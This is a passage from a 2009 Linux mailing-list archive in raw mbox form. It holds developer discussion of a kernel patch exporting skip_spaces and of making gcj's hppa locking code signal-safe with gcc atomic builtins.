	"James E . J . Bottomley" <jejb@parisc-linux.org>,
	ibm-acpi-devel@lists.sourceforge.net,
	device-mapper development <dm-devel@redhat.com>,
	Julia Lawall <julia@diku.dk>, "H . Peter Anvin" <hpa@zytor.com>,
	Daire Byrne <Daire.Byrne@framestore.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>, Greg Banks <gnb@melbourne.sgi.com>,
	Stefan Weinhuber <wein@de.ibm.com>,
	Eric Sandeen <sandeen@redhat.com>, Adam Belay <abelay@mit.edu>,
	netfilter-devel@vger.kernel.org, Helge Deller <deller@gmx.de>,
	x86@kernel.org, James Morris <jmorris@namei.org>,
	Takashi Iwai <tiwai@suse.de>, Ing
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-cachefs-bounces@redhat.com Sun Nov 08 19:33:32 2009
Return-path: <linux-cachefs-bounces@redhat.com>
Envelope-to: glc-linux-cachefs@gmane.org
Original-Received: from hormel1.redhat.com ([209.132.177.33] helo=hormel.redhat.com)
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7CZu-0007yt-Lk
	for glc-linux-cachefs@gmane.org; Sun, 08 Nov 2009 19:33:31 +0100
Original-Received: from listman.util.phx.redhat.com (listman.util.phx.redhat.com [10.8.4.110])
	by hormel.redhat.com (Postfix) with ESMTP id D26976190B7;
	Sun,  8 Nov 2009 13:33:28 -0500 (EST)
Original-Received: from int-mx04.intmail.prod.int.phx2.redhat.com
	(nat-pool.util.phx.redhat.com [10.8.5.200])
	by listman.util.phx.redhat.com (8.13.1/8.13.1) with ESMTP id
	nA8Gqs3A009078; Sun, 8 Nov 2009 11:52:54 -0500
Original-Received: from mx1.redhat.com (ext-mx09.extmail.prod.ext.phx2.redhat.com
	[10.5.110.13])
	by int-mx04.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP
	id nA8GqdE1024578; Sun, 8 Nov 2009 11:52:40 -0500
Original-Received: from mail-vw0-f171.google.com (mail-vw0-f171.google.com
	[209.85.212.171])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id nA8GqcL0015100;
	Sun, 8 Nov 2009 11:52:38 -0500
Original-Received: by vws1 with SMTP id 1so675088vws.23
	for <multiple recipients>; Sun, 08 Nov 2009 08:52:38 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma;
	h=domainkey-signature:mime-version:received:in-reply-to:references
	:from:date:message-id:subject:to:cc:content-type
	:content-transfer-encoding;
	bh=dlrYOCaI6Sg1DSrEdDMk6gZkKILHSchiXa09KK2SZUo=;
	b=xQGIOuTeMIr8dlOrGzUILsWsDElT6mlVXtXlRwUPw0RVg2MS7IqlLDWe+q13QrW6hW
	Rhl0FJi5B6+y5k+EedBDQ4oqjnFR9EfUHcpG3G8TwJ5tS0diJty72KT8uVhdUdq7yeg3
	jLb96a9StfmjjEClDHfC2SE303itnnHJBikPY=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma;
	h=mime-version:in-reply-to:references:from:date:message-id:subject:to
	:cc:content-type:content-transfer-encoding;
	b=BQhpG0UhICUjMue6fitxc48LdWYSvFreuMxzZmBg0nNzBBQVDyLnyUhaTZ9zh86H8f
	fn6bzgrD6dS9dEn0UhcvHb21+IgBBTw0YzwpCsdjC3O2jn186JL19e6W2dcSsHLg7VWg
	XjYfMgPiaf0WJ6nE6vtJsQDAXEEi65YqBYt0k=
Original-Received: by 10.220.125.106 with SMTP id x42mr7249871vcr.104.1257699158095; 
	Sun, 08 Nov 2009 08:52:38 -0800 (PST)
In-Reply-To: <1257696303.4184.8.camel@mulgrave.site>
X-RedHat-Spam-Score: -2  (AWL)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.17
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.13
X-MIME-Autoconverted: from quoted-printable to 8bit by
	listman.util.phx.redhat.com id nA8Gqs3A009078
X-loop: linux-cachefs@redhat.com
X-Mailman-Approved-At: Sun, 08 Nov 2009 13:33:23 -0500
X-BeenThere: linux-cachefs@redhat.com
X-Mailman-Version: 2.1.5
Precedence: junk
List-Id: Linux filesystem caching discussion list <linux-cachefs.redhat.com>
List-Unsubscribe: <https://www.redhat.com/mailman/listinfo/linux-cachefs>,
	<mailto:linux-cachefs-request@redhat.com?subject=unsubscribe>
List-Archive: <https://www.redhat.com/archives/linux-cachefs>
List-Post: <mailto:linux-cachefs@redhat.com>
List-Help: <mailto:linux-cachefs-request@redhat.com?subject=help>
List-Subscribe: <https://www.redhat.com/mailman/listinfo/linux-cachefs>,
	<mailto:linux-cachefs-request@redhat.com?subject=subscribe>
Original-Sender: linux-cachefs-bounces@redhat.com
Errors-To: linux-cachefs-bounces@redhat.com
Xref: news.gmane.org gmane.linux.file-systems.cachefs.general:2435 gmane.linux.acpi.ibm-acpi.devel:1974 gmane.linux.kernel.device-mapper.devel:10453 gmane.comp.security.firewalls.netfilter.devel:31511 gmane.comp.file-systems.ext4:16327 gmane.linux.alsa.devel:68257 gmane.linux.uml.devel:12271 gmane.linux.raid:25267 gmane.linux.uml.user:13662 gmane.linux.ports.parisc:2313 gmane.linux.network:142939 gmane.linux.kernel:911330 gmane.comp.security.firewalls.netfilter.general:38499
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2313>

Hi, James!

On Sun, Nov 8, 2009 at 2:05 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Sat, 2009-11-07 at 13:16 -0200, Andr=E9 Goddard Rosa wrote:
>> This patch reduces lib.a code size by 173 bytes on my Core 2 with gcc =
4.4.1
>> even considering that it exports a newly defined function skip_spaces(=
)
>> to drivers:
>> =A0 =A0text =A0 =A0data =A0 =A0 bss =A0 =A0 dec =A0 =A0 hex filename
>> =A0 64867 =A0 =A0 840 =A0 =A0 592 =A0 66299 =A0 102fb (TOTALS-lib.a-be=
fore)
>> =A0 64954 =A0 =A0 584 =A0 =A0 588 =A0 66126 =A0 1024e (TOTALS-lib.a-af=
ter)
>> and implements some code tidy up.
>>
>> Besides reducing lib.a size, it converts many in-tree drivers to use t=
he
>> newly defined function, which makes another small reduction on kernel =
size
>> overall when those drivers are used.
>
> Before we embark on something as massive as this, could we take a step
> back. =A0I agree that if I were coming up with the strstip() interface
> today I probably wouldn't have given it two overloaded uses.
>
> However, I think the function, in spite of this minor issue, is very
> usable. =A0I still don't understand why people thought adding a
> __must_check, which is what damaged one of the overloaded uses, is a
> good idea.

Differently of "static void strip(char *str)"@scripts/kconfig/conf.c ,
this function
does not moves the characters to the beginning of the string, so that if =
that
string is going to be reused it should refer to the newly returned string=
 start.

I've changed it to remove the const and return a "char *".

Do you think __must_check is not needed as well?

Thanks,
Andr=E9


From - Thu Nov 08 21:05:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.file-systems.cachefs.general,gmane.comp.security.firewalls.netfilter.general,gmane.linux.kernel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.alsa.devel,gmane.linux.kernel.device-mapper.devel,gmane.linux.acpi.ibm-acpi.devel,gmane.comp.file-systems.ext4,gmane.linux.ports.parisc,gmane.linux.uml.devel,gmane.linux.raid,gmane.linux.uml.user,gmane.linux.network
Subject: Re: [PATCH v4 10/12] string: factorize skip_spaces
 and export it to be generally available
Date: Sun, 8 Nov 2009 16:50:00 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20091108165000.374714cb@lxorguk.ukuu.org.uk>
References: <cover.1257602781.git.andre.goddard@gmail.com>
	<c7d3b02b5e28eaa54a5360d57dfd177c44320187.1257602781.git.andre.goddard@gmail.com>
Reply-To: Linux filesystem caching discussion list <linux-cachefs@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-14
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1257705241 17560 80.91.229.12 (8 Nov 2009 18:34:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 18:34:01 +0000 (UTC)
Cc: Andreas Dilger <adilger@sun.com>, Mike Snitzer <snitzer@redhat.com>,
	Takashi Iwai <tiwai@suse.de>, Kysela <perex@perex.cz>, Jan,
	Stefan Weinhuber <wein@de.ibm.com>,
	Eric Sandeen <sandeen@redhat.com>, "James E .
	J . Bottomley" <jejb@parisc-linux.org>, linux-cachefs@redhat.com,
	WANG Cong <wangcong@zeuux.org>, Len Brown <len.brown@intel.com>,
	Trond Myklebust <Trond.Myklebust@netapp.com>,
	Rusty Russell <rusty@rustcorp.com.au>, netfilter@vger.kernel.org,
	Al Viro <viro@zeniv.linux.org.uk>, Thomas Gleixner <tglx@linutronix.de>,
	Engelhardt <jengelh@medozas.de>,
	Bjorn Helgaas <bjorn.helgaas@hp.com>, =?ISO-8859-14?B?QW5k?=, "Martin K .
	Petersen" <martin.petersen@oracle.com>, linux-kernel@vger.kernel.org,
	Stoyan Gaydarov <stoyboyker@gmail.com>, Kyle McMartin <kyle@mcmartin.ca>,
	netfilter-devel@vger.kernel.org, Joe Perches <joe@perches.com>,
	Andrew Morton <akpm@linux-foundation.org
To: =?ISO-8859-14?B?QW5kcuk=?= Goddard Rosa <andre.goddard@gmail.com>
Original-X-From: linux-cachefs-bounces@redhat.com Sun Nov 08 19:33:41 2009
Return-path: <linux-cachefs-bounces@redhat.com>
Envelope-to: glc-linux-cachefs@gmane.org
Original-Received: from hormel1.redhat.com ([209.132.177.33] helo=hormel.redhat.com)
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7CZu-0007zO-Vo
	for glc-linux-cachefs@gmane.org; Sun, 08 Nov 2009 19:33:31 +0100
Original-Received: from listman.util.phx.redhat.com (listman.util.phx.redhat.com [10.8.4.110])
	by hormel.redhat.com (Postfix) with ESMTP id 892826190AA;
	Sun,  8 Nov 2009 13:33:28 -0500 (EST)
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com
	(nat-pool.util.phx.redhat.com [10.8.5.200])
	by listman.util.phx.redhat.com (8.13.1/8.13.1) with ESMTP id
	nA8Gqs37009077; Sun, 8 Nov 2009 11:52:54 -0500
Original-Received: from mx1.redhat.com (ext-mx05.extmail.prod.ext.phx2.redhat.com
	[10.5.110.9])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP
	id nA8GqYHt012122; Sun, 8 Nov 2009 11:52:34 -0500
Original-Received: from www.etchedpixels.co.uk (earthlight.etchedpixels.co.uk
	[81.2.110.250])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id nA8GqWFh014009;
	Sun, 8 Nov 2009 11:52:33 -0500
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by www.etchedpixels.co.uk (8.14.3/8.14.3) with ESMTP id nA8Go0ET020767; 
	Sun, 8 Nov 2009 16:50:01 GMT
In-Reply-To: <c7d3b02b5e28eaa54a5360d57dfd177c44320187.1257602781.git.andre.goddard@gmail.com>
X-RedHat-Spam-Score: -1.196  (AWL)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.9
X-MIME-Autoconverted: from quoted-printable to 8bit by
	listman.util.phx.redhat.com id nA8Gqs37009077
X-loop: linux-cachefs@redhat.com
X-Mailman-Approved-At: Sun, 08 Nov 2009 13:33:23 -0500
X-BeenThere: linux-cachefs@redhat.com
X-Mailman-Version: 2.1.5
Precedence: junk
List-Id: Linux filesystem caching discussion list <linux-cachefs.redhat.com>
List-Unsubscribe: <https://www.redhat.com/mailman/listinfo/linux-cachefs>,
	<mailto:linux-cachefs-request@redhat.com?subject=unsubscribe>
List-Archive: <https://www.redhat.com/archives/linux-cachefs>
List-Post: <mailto:linux-cachefs@redhat.com>
List-Help: <mailto:linux-cachefs-request@redhat.com?subject=help>
List-Subscribe: <https://www.redhat.com/mailman/listinfo/linux-cachefs>,
	<mailto:linux-cachefs-request@redhat.com?subject=subscribe>
Original-Sender: linux-cachefs-bounces@redhat.com
Errors-To: linux-cachefs-bounces@redhat.com
Xref: news.gmane.org gmane.linux.file-systems.cachefs.general:2436 gmane.comp.security.firewalls.netfilter.general:38500 gmane.linux.kernel:911331 gmane.comp.security.firewalls.netfilter.devel:31512 gmane.linux.alsa.devel:68258 gmane.linux.kernel.device-mapper.devel:10454 gmane.linux.acpi.ibm-acpi.devel:1975 gmane.comp.file-systems.ext4:16328 gmane.linux.ports.parisc:2314 gmane.linux.uml.devel:12272 gmane.linux.raid:25268 gmane.linux.uml.user:13663 gmane.linux.network:142940
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2314>

On Sat,  7 Nov 2009 13:16:18 -0200
Andr=E9 Goddard Rosa <andre.goddard@gmail.com> wrote:

> On the following sentence:
>     while (*s && isspace(*s))
>         s++;

Looks fine but for one thing: it's actually shorter inline than moved
into /lib so at the very least it should be a header inline not a
function call.

Second minor comment. Although it never made it into the final ANSI C,
the proposed name (and the one used in a lot of other non Linux code for
this) is stpblk().

Alan


From - Thu Nov 08 21:05:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: gcj port to hppa...
Date: Sun, 8 Nov 2009 13:40:51 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <20091108184052.43E3A4E38@hiauly1.hia.nrc.ca>
References: <119aab440911071348t16198843q37757d25dc6a4691@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257705663 18798 80.91.229.12 (8 Nov 2009 18:41:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 18:41:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	dave.anglin@nrc-cnrc.gc.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 08 19:40:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7Ch5-0002Oc-92
	for glpp-linux-parisc@lo.gmane.org; Sun, 08 Nov 2009 19:40:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751396AbZKHSks (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Nov 2009 13:40:48 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752569AbZKHSks
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Nov 2009 13:40:48 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4924 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751396AbZKHSkr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Nov 2009 13:40:47 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 43E3A4E38; Sun,  8 Nov 2009 13:40:51 -0500 (EST)
In-Reply-To: <119aab440911071348t16198843q37757d25dc6a4691@mail.gmail.com> from "Carlos O'Donell" at Nov 7, 2009 04:48:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2315 gmane.linux.debian.ports.hppa:6102
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2315>

> The gcj port to hppa uses a locking implementation
> (libjava/sysdeps/pa/locks.h) which is not signal safe.

Yes.  Is this the gcj problem that you were seeing with nptl?

> The assembly can be interrupted by a signal which if it calls
> compare_and_swap again will deadlock. However, I can't tell if this
> will ever happen.
> 
> The fix for this is to port the lock implementation to use the
> light-weight in-kernel compare-and-swap, which is thread-safe and
> signal-safe. However, this is only available for Linux.

I would say the linux implementation should uses the gcc atomic builtins.
They are based on the kernel compare-and-swap.

> Does locks.h also need to work for HPUX?

Yes.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: gcj port to hppa...
Date: Sun, 8 Nov 2009 13:45:10 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <119aab440911081045j32cf37base2aa9d08f713effc@mail.gmail.com>
References: <119aab440911071348t16198843q37757d25dc6a4691@mail.gmail.com>
	 <20091108184052.43E3A4E38@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1257705923 19514 80.91.229.12 (8 Nov 2009 18:45:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 18:45:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	dave.anglin@nrc-cnrc.gc.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 08 19:45:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7ClH-00043h-0F
	for glpp-linux-parisc@lo.gmane.org; Sun, 08 Nov 2009 19:45:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754829AbZKHSpI convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Nov 2009 13:45:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754671AbZKHSpI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Nov 2009 13:45:08 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:60852 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754829AbZKHSpG convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Nov 2009 13:45:06 -0500
Original-Received: by bwz27 with SMTP id 27so2766956bwz.21
        for <linux-parisc@vger.kernel.org>; Sun, 08 Nov 2009 10:45:11 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=HyryFmrEzfCos+c46zQMBwMdSN3SLOf4d468LT7SQ5c=;
        b=ibm4VQCAq/Z/Nd7Et/PFODyiOYiE8FedtlXQ9SNDzZNLvZBQZ7xWos8VQ2oDSVMlxY
         SrLdsgwDJq2Eml+pUAeDiK4gjWHL1shWHjcPj6i90Oebc24/8i+sMpkV1nyP4k7kD6VP
         ZFQ/0vuoaixGKnWraFyqJiJ4R266cp0gfMrKo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=tO8xUkj/ClOPvypN4MK48HLeCgDwjO7OJM3N+7KRyvN19oLKu1HZT2RsepEzCtfVUa
         56UARRzHAemDYxTPQE1OqI/kr2bLSYKPaGeFQ8P9bBIlq0eNdpeZkz+qXpY6pdHaKRqZ
         h0mYIuAgnQ2t+5XT9+8N9ju2xyklj0YB5Ixog=
Original-Received: by 10.204.25.152 with SMTP id z24mr7429938bkb.44.1257705910534; Sun, 
	08 Nov 2009 10:45:10 -0800 (PST)
In-Reply-To: <20091108184052.43E3A4E38@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 12bc137508a880bd
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2316 gmane.linux.debian.ports.hppa:6104
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2316>

On Sun, Nov 8, 2009 at 1:40 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> The gcj port to hppa uses a locking implementation
>> (libjava/sysdeps/pa/locks.h) which is not signal safe.
>
> Yes. =A0Is this the gcj problem that you were seeing with nptl?

No it is not, but I noticed this during my investigations. I might as
well fix it while I'm poking about.

>> The assembly can be interrupted by a signal which if it calls
>> compare_and_swap again will deadlock. However, I can't tell if this
>> will ever happen.
>>
>> The fix for this is to port the lock implementation to use the
>> light-weight in-kernel compare-and-swap, which is thread-safe and
>> signal-safe. However, this is only available for Linux.
>
> I would say the linux implementation should uses the gcc atomic built=
ins.
> They are based on the kernel compare-and-swap.

Oh, that's a perefect idea, I wasn't sure that libjava could make use
of those atomic builtins.

Doesn't this restrict the gcc version you can use to rebuild libjava?
Is that OK?

>> Does locks.h also need to work for HPUX?
>
> Yes.

OK, how do I write conditional code for HPUX vs. Linux?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: gcj port to hppa...
Date: Sun, 8 Nov 2009 13:58:34 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <20091108185835.17A394FC6@hiauly1.hia.nrc.ca>
References: <119aab440911081045j32cf37base2aa9d08f713effc@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257706730 21794 80.91.229.12 (8 Nov 2009 18:58:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 18:58:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	dave.anglin@nrc-cnrc.gc.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 08 19:58:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7CyD-0000i7-DG
	for glpp-linux-parisc@lo.gmane.org; Sun, 08 Nov 2009 19:58:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754972AbZKHS6a (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Nov 2009 13:58:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754973AbZKHS6a
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Nov 2009 13:58:30 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4930 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754964AbZKHS6a (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Nov 2009 13:58:30 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 17A394FC6; Sun,  8 Nov 2009 13:58:34 -0500 (EST)
In-Reply-To: <119aab440911081045j32cf37base2aa9d08f713effc@mail.gmail.com> from "Carlos O'Donell" at Nov 8, 2009 01:45:10 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2317 gmane.linux.debian.ports.hppa:6105
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2317>

> On Sun, Nov 8, 2009 at 1:40 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> >> The gcj port to hppa uses a locking implementation
> >> (libjava/sysdeps/pa/locks.h) which is not signal safe.
> >
> > Yes. =A0Is this the gcj problem that you were seeing with nptl?
> 
> No it is not, but I noticed this during my investigations. I might as
> well fix it while I'm poking about.

There's similar code in libstdc++.

> Oh, that's a perefect idea, I wasn't sure that libjava could make use
> of those atomic builtins.
> 
> Doesn't this restrict the gcc version you can use to rebuild libjava?
> Is that OK?

In my opinion, yes.

> >> Does locks.h also need to work for HPUX?
> >
> > Yes.
> 
> OK, how do I write conditional code for HPUX vs. Linux?

Check __linux and/or __hpux.  Look at the arm code.  It looks
like they have done this.  So, you should just be able to copy
what they have done.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: gcj port to hppa...
Date: Sun, 8 Nov 2009 13:59:47 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <119aab440911081059q435ca194va5f4df4e56c2033d@mail.gmail.com>
References: <119aab440911081045j32cf37base2aa9d08f713effc@mail.gmail.com>
	 <20091108185835.17A394FC6@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1257706798 21932 80.91.229.12 (8 Nov 2009 18:59:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 18:59:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	dave.anglin@nrc-cnrc.gc.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 08 19:59:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7CzO-0000i7-PD
	for glpp-linux-parisc@lo.gmane.org; Sun, 08 Nov 2009 19:59:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754972AbZKHS7o convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Nov 2009 13:59:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754964AbZKHS7o
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Nov 2009 13:59:44 -0500
Original-Received: from fg-out-1718.google.com ([72.14.220.157]:64082 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754841AbZKHS7n convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Nov 2009 13:59:43 -0500
Original-Received: by fg-out-1718.google.com with SMTP id e12so946680fga.1
        for <linux-parisc@vger.kernel.org>; Sun, 08 Nov 2009 10:59:47 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=OcJ61vbTdhgRU3acImIEGfEu1P3ZP4MdVIrZ5lPIN4g=;
        b=M9NtBSi0pQdKstUqbd1iNvRO7L9S8eqQIdb0LhJSoVGU7+upm5Y/FxY/ok5sgaAkok
